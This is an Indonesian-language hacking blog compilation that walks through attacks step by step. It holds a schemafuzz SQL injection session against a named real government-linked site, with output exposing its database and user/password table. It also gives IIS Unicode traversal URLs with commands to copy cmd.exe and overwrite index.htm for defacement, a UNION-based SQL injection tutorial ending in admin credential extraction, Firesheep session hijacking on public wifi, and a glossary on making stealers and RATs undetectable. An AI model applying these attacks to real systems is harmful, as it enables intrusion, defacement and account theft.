perlu diketahui bahwa jika kita login pa aja kta,harus menggunakan kunci atau password.maka kalau kunci yg kita buat tidak unik atau mudah dbuat,kunci it akan mudah dibo2l dan dtebak ataupun menggunakan metode BRUTE FORCE ATTACK,brutf force attack sesuai
dgn namanya menebak password dgn brutal.yaitu memakai b’bgai kmbinasi kemungkinan.
2.SOCIAL ENGINEERING
metode ini sebagai menyusup dengan sistem memanfaatkan faktor psikologis korban.contoh metode SOCIAL ENGINEERING,sering anda lhat dalam khdpan shari2 kalau ada sms atau telpon yg mengarah kepada hanphone kita dan sms atau telpon itu mengatakan bahwa kita mendapatkan hadiah tertentu.dan untk it anda harus mngeluarkan biaya yg sngat bsar yg bersifat confidential?jika anda mengalaminy,perlu dwaspdai krenas seorng sosial engineer sdang mencri mangsa.
3.MAN IN THE MIDDLE
misalnya seseorng sdang asyik berkomunikasi bertukar informasi melalui sebuah jalur.tidak disangka tiba2 seorang hacker mencegat pesan it lalu dibaca,memodifikasi dan mengirimkan kembali pesan yg sudah beruah tersebut kepda korban.serangan ini disebut man in the middle.
4.SNIFFING
hampir mirip dengan metode MAN IN THE MIDDLE,tapi bedanya hanya mengambil dan menganalisanya tida dimodifkasi.
5.WEB DEFACEMENT
yah,ini merupakan serangan yg umumnya tidak berbahaya.tetapi tetap dgolngkan sbgai perusak,cntoh:jika web defacement berhasil menyerang atau membobol website yg memiliki keamanan tinggi,tentunya akan mengurangi kepercyan pelanggan.
inilah posting kali ini yg saya berikan khusus untuk anda yg membuka blog saya.karena blog yg saya posting ini seharurnya sangat rhasia dkalangan hacker,tetapi saya akan membagi ilmu saya bagi yg setiap x membaca blog ini.pada posting laen x saya akan membahas tetang langkah2 hacking seperti yg dilakukan hacker pada umumnya,moga ilmu ini bermanfaat bagi anda semua,terima kasih.asslamualaiku wr.wb..
maap nii kalo ga berguna coz ak bukan hacker apalagi hacker handal .......
1.Python (http://www.python.org/ftp/python/2.5/python-2.5.msi)
2.Schemafuzz (http://darkc0de.com/others/schemafuzz.py)
3.CMD
Dg cmd masuk ke folder tempat schemafuzz.py berada...
Awali pertintah dengan format:
schemafuzz.py -u "url target" --perintah
List perintah ada dibawah...
1.Cari target
Misal: http://www.ditplb.or.id/profile.php?id=1
2.Masukkan perintah untuk mencari colom
Misal: schemafuzz.py -u "http://www.ditplb.or.id/profile.php?id=1"; --findcol
Maka keluar:
[+] URL: http://www.ditplb.or.id/profile.php?id=1--
[+]
Evasion Used: "+" "--"
[+] 20:36:29
[-] Proxy Not Given
[+] Attempting To find the number of columns...
[+] Testing: 0,1,2,
[+] Column Length is: 3
[+] Found null column at column #: 2
[+] SQLi URL:
http://www.ditplb.or.id/profile.php?...SELECT+0,1,2--
[+] darkc0de
URL: http://www.ditplb.or.id/profile.php?...T+0,1,darkc0de
[-] Done!
Berarti kita gunain
http://www.ditplb.or.id/profile.php?...T+0,1,darkc0de
untuk inject
3.Cari database dg command --dbs
Misal : schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de ";
--dbs
Maka keluar:
[+] URL:
http://www.ditplb.or.id/profile.php?...0,1,darkc0de--
[+] Evasion Used: "+" "--"
[+] 20:39:32
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: t15618_plb
User: t15618_pl...@localhost
Version: 5.0.32-Debian_7etch8
[+] Showing all databases current user has access too!
[+] Number of Databases: 1
[0] t15618_plb
[-] 20:39:39
[-] Total URL Requests 3
[-] Done
keliatan kan nama databasenya ??? t15618_plb
4.Cari nama table dalam database
Misal: schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de ";
--schema -D namadatabase
Jadinya: schemafuzz.py -u
"http://www.ditplb.or.id/profile.php?id=1+AND+1=2+UNION+SELECT+0,1,darkc0de ";
--schema -D t15618_plb
Maka keluar:
[+] URL:
http://www.ditplb.or.id/profile.php?...0,1,darkc0de--
[+] Evasion Used: "+" "--"
[+] 20:43:10
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: t15618_plb
User: t15618_pl...@localhost
Version: 5.0.32-Debian_7etch8
[+] Showing Tables & Columns from database "t15618_plb"
[+] Number of Tables: 11
[Database]: t15618_plb
[Table: Columns]
[0]bukutamu: id,pengirim,email,pesan
[1]frm_daftarartikel: id_daf_art,id_kat,daftarartikel,pengirim
[2]frm_detailartikel: id_det_art,id_kat,id_daf_art,detailartikel,keteran gan
[3]frm_kategori: id_kat,kategori
[4]kabupaten: ID_kab,ID_prop,Kabupaten
[5]pelatihan: ID,Pelatihan
[6]profile: ID_Profile,sinopsis,Profile
[7]propinsi: ID_prop,Propinsi
[8]sd: ID_sd,ID_1,SD,Detail
[9]sekolah: ID_sek,ID_prop,ID_kab,Sekolah,Alamat,Telp,Email
[10]user: ID_user,UserID,Password,Keterangan,Admin
[-] 20:44:39
[-] Total URL Requests 43
[-] Done
Mencari target dapat dilakukan dengan berbagai cara hal ini tergantung kreativitas dan sarana yang dimiliki, dalam hal ini bisa berbentuk script IRC, scanner. Sebagai dasar mengetahui OS yang digunakan server suatu site dapat diketahui dengan mencarinya pada situs http://www.netcraft.com/
Langkah 2 : Unicode
Setelah target didapat maka digunakan Unicode. Unicode itu sendiri penulis juga tidak terlalu mengetahui secara mendetail, tapi pada dasarnya Unicode menggunakan bahasa ASCII. Server yang menggunakan OS NT dengan IIS sendiri mempunyai bug yang bisa ditembus dengan Unicode dalam hal ini bila server itu belum dipatch. Unicode yang berhasil ditemukan untuk memasuki server NT sudah banyak. Dan yang bisa dicoba sebagai berikut:
http://target/_vti_bin/..%c0%af../.....exe?/c+dir+c:\
http://target/scripts/..%c0%af../..%...exe?/c+dir+c:\
http://target/msadc/..%c0%af../..%c0...exe?/c+dir+c:\
http://target/cgi-bin/..%c0%af../..%...exe?/c+dir+c:\
http://target/scripts/..%255c..%255c...exe?/c+dir+c:\
Bila Unicode tersebut berhasil maka akan dapat dilihat tampilan seperti berikut:
Directory of c:\
06/03/01 09:59a (DIR) InetPub
08/08/01 06:14p (DIR) WINNT
Langkah 3 :Mencari halaman depan
Saat membuka situs tersebut pada browser, kita pasti akan melihat tampilan muka dari site tersebut, perlu diperhatikan adalah file tampilan muka tersebut apa? biasanya antara lain: index.htm, index.html, default.htm, default.html. Kemudian dengan mengunakan Unicode tersebut kita mencari file tersebut letaknya dimana, biasanya di C:\inetpub\wwwroot (hal ini belum tentu). untuk mencari file tersebut dapat digunakan perintah:
/c+dir/s+c:\index.htm
Hal ini berarti perintah mencari file index.htm di dalam drive C
Untuk melihat apakah file index.htm tersebut adalah yang digunakan pada halaman depan, dipergunakan perintah :
/c+type+c:\direktory dan nama file, contoh : /c+type+c:\inetpub\wwwroot\index.htm
Setelah anda menemukan file index.htm tersebut, maka sebaiknya anda copy dulu, hal ini agar tindakan Deface kita tidak terlalu merugikan Administrator dari server situs tersebut. Sehingga nantinya Admin tersebut mempunyai backup dari file index.
perintah copy itu sendiri adalah:
/c+copy+c:\
contoh untuk pencopyan adalah:
/c+copy+c:\inetpub\wwwroot\index.htm backupindex.htm
untuk mempermudah pekerjaan dapat dilakukan pencopyan file cmd.exe yg berada di direktory c:/winnt/system32 dengan menggunakan nama anda, seperti :
/c+copy+c:\winnt\system32\cmd.exe+c:\deface.exe
hal ini berarti anda mencopy file cmd.exe ke dir c dgn nama deface.exe, sehingga untuk perintah2 selanjutnya tidak memerlukan /winnt/system32/cmd.exe?/ tapi cukup /deface.exe?/
Langkah 4 : Meng-Copy file index.htm
echo dalam dos berarti anda membuat file maka bila file index.htm yg asli anda echo berarti anda timpa dengan file index anda. Untuk perintahnya adalah:
/deface.exe?/c+echo+"deface+was+here"+>+c:\inetpub\wwwroot\inde x.htm
sehingga tampilan site depan telah terganti dengan tulisan
deface was here
Catatan: Hal ini berlaku bila file index.htm tersebut dapat diecho, karena sebagian server membatasi direktory root dengan atribut read only, sehingga perintah echo index.htm akan menghasilkan : Access Denied Untuk membuat deface anda menjadi lebih bagus, dapat digunakan bahasa HTML dan ASCII
membuat direktory = /c+mkdir+c:\
merubah nama file = /c+ren+c:\file
menghapus file = /c+del+c:\file
menghapus file Read-Only = /c+del+/R+c:\file
Q: Apa itu hacking?
Hacking adalah penggunaan yang tidak sah sumber daya komputer dan jaringan. Hal ini biasanya dilakukan melalui penggunaan program 'backdoor' diinstal pada mesin anda. Namun, kebanyakan orang memahami seorang hacker untuk lebih akurat apa yang dikenal sebagai 'cracker'. Istilah "hack" juga digunakan untuk merujuk kepada modifikasi dari sebuah program atau perangkat untuk memberikan akses pengguna ke fitur yang tidak tersedia, seperti sirkuit DIY membungkuk. Ini adalah dari penggunaan bahwa "hacking" istilah sering salah digunakan untuk merujuk kepada penggunaan pidana lebih jahat seperti pencurian identitas, penipuan kartu kredit atau tindakan lainnya yang dikategorikan sebagai kejahatan komputer.
Q: Apa itu cracking?
Password cracking adalah proses pemulihan password dari data yang telah disimpan di dalam atau dikirimkan oleh komputer system.A banyak kerupuk juga mencoba untuk mendapatkan akses ke sumber daya melalui penggunaan software password cracking, yang mencoba miliaran password untuk menemukan yang benar satu untuk mengakses computer.On sebuah file-per file, password cracking digunakan untuk mendapatkan akses ke bukti digital yang hakim telah memungkinkan akses tapi akses file tertentu adalah dibatasi.
T: Apa yang dimaksud dengan virus / trojan / file skrip berbahaya?
Virus adalah kode program atau pemrograman yang mereplikasi oleh disalin atau memulai menyalin ke sektor lain, program komputer boot atau document.Trojan melaksanakan pada komputer Anda, penyerang, yaitu orang yang menjalankan server, memiliki tingkat kontrol yang tinggi terhadap komputer Anda, yang dapat mengakibatkan efek destruktif tergantung pada tujuan penyerang.
Q: Apa itu stealer?
pencuri adalah software yang dirancang untuk menciptakan virus. Virus ini disebut sebagai server. Anda mengirim server untuk korban dan jika mereka membuka semua melewati mereka (sesuai dengan seberapa pencuri dibangun) akan dikirimkan kepada anda lewat email, atau ftp atau hosting php.
Q: Apa itu RAT itu?
Sebuah Tikus adalah sebuah perangkat lunak dibuat bahwa server yang serupa diciptakan (virus). Jika korban membuka itu mereka akan RAT Anda. Anda dapat memiliki akses lengkap untuk sistem mereka. Ada hundereds fitur.
RAT - Remote Administration Tool.
Q: Apa itu keylogger?
keylogger adalah software yang dirancang untuk membuat server. Anda mengirim server untuk korban dan jika mereka membuka semua penekanan tombol mereka akan mengirim melalui email, ftp, php hosting dll
Q: Apa itu BOT?
Sebuah bot adalah program berbahaya yang memiliki beberapa tujuan.
Mereka biasanya diberitahu apa yang harus dilakukan oleh admin botnet meskipun banyak fitur yang sekarang otomatis.
Q: Apa itu botnet?
botnet adalah sebuah jaringan komputer yang terinfeksi yang semua terhubung ke satu area di mana mereka diperintahkan oleh admin botnet.
Q: Apa itu crypter sebuah?
Semua server Anda bahwa Anda membuat sebuah keylogger, pencuri, TIKUS dll terdeteksi oleh antivirus. Jadi inorder untuk membuatnya FUD (Penuh tidak terdeteksi) kita gunakan crypter dan crypt terinfeksi server Anda.
Q: Bagaimana cara kerja crypter?
crypter A memiliki built in atau stub file eksternal yang disebut. rintisan ini didasarkan pada enkripsi umum seperti RC4, dll tweafish xor, blowfish Bila Anda crypt file yang terinfeksi Anda crypter yang embeds tulisan rintisan ke server Anda dan mencakup server. Sama seperti bagaimana Anda cat logam berkarat Anda. Dan membuatnya tidak terdeteksi dari anti-virus.
Q: Apa itu reverting?
Mengembalikan adalah teknik yang digunakan untuk mendapatkan password terlupakan. Namun seorang hacker menggunakan metode ini untuk mengakses account korban.
Q: Apa itu social engineering?
Ini adalah pendekatan psikologis, di mana Anda memanipulasi orang ke dalam melakukan tindakan atau membocorkan informasi rahasia, bukan dengan melanggar dalam atau menggunakan teknik hacking teknis.
Q: Apa itu DDos?
Desain inti maksud di balik Denial of Service (DoS) Attack Trojan adalah untuk menghasilkan banyak lalu lintas internet di komputer korban atau server, ke titik bahwa koneksi Internet menjadi terlalu sesak untuk membiarkan orang mengunjungi situs web atau sesuatu download. Sebuah variasi tambahan DoS Trojan adalah Trojan Mail-Bomb, yang penting rencana adalah untuk menginfeksi komputer sebanyak mungkin, sekaligus menyerang banyak alamat email dengan subyek serampangan dan isi yang tidak dapat disaring.
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+inf ormation_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name), 6,7,8+from+information_schema.tables+where+table_s chema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,usernam e,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
Firesheep ini merupakan software opensource yang bisa anda download di http://codebutler.github.com/firesheep/ dan jangan lupa bagi anda pengguna windows untuk memasang winpcap terlebih dahulu. Setelah anda mendownload dan menginstall firesheep dan anda sedang berselancar ria di jaringan wifi yang gratis misalnya di cafe. maka akan muncul sebuah sidebar baru yang menampilkan user-user yang sedang login ke sebuah web sebagai contoh adalah Facebook. Jika pengguna wifi ada yang login ke facebook dan tampil di sidebar anda, maka anda hanya butuh mengklik 2 kali dan anda sekarang bisa login sebagai dia tanpa harus memasukkan username dan password lagi.
Untuk cara menggunakan firesheep, tinggal tekan Ctrl + Shift + S pada keyboard. maka secara otomatis akan muncul Sidebar di firefox anda. Kemudian klik tombol Start Capturing. Jika berhasil, maka akan muncul beberapa facebook orang-orang yang sedang online di kawasan hotspot anda.
untuk mengantisipasinya tinggal kita gunakan backsheep..
kebalikan dari firesheep fungsinya.. silahkan di mengerti
dengan adanya tutorial ini semoga muncul kesadaran bahwa sebenarnya hacking itu luas dan yang terpenting adalah proses dan ilmu yang kalian dapatkan.. majulah "undergrond" Indonesia dan majulah IT indonesia
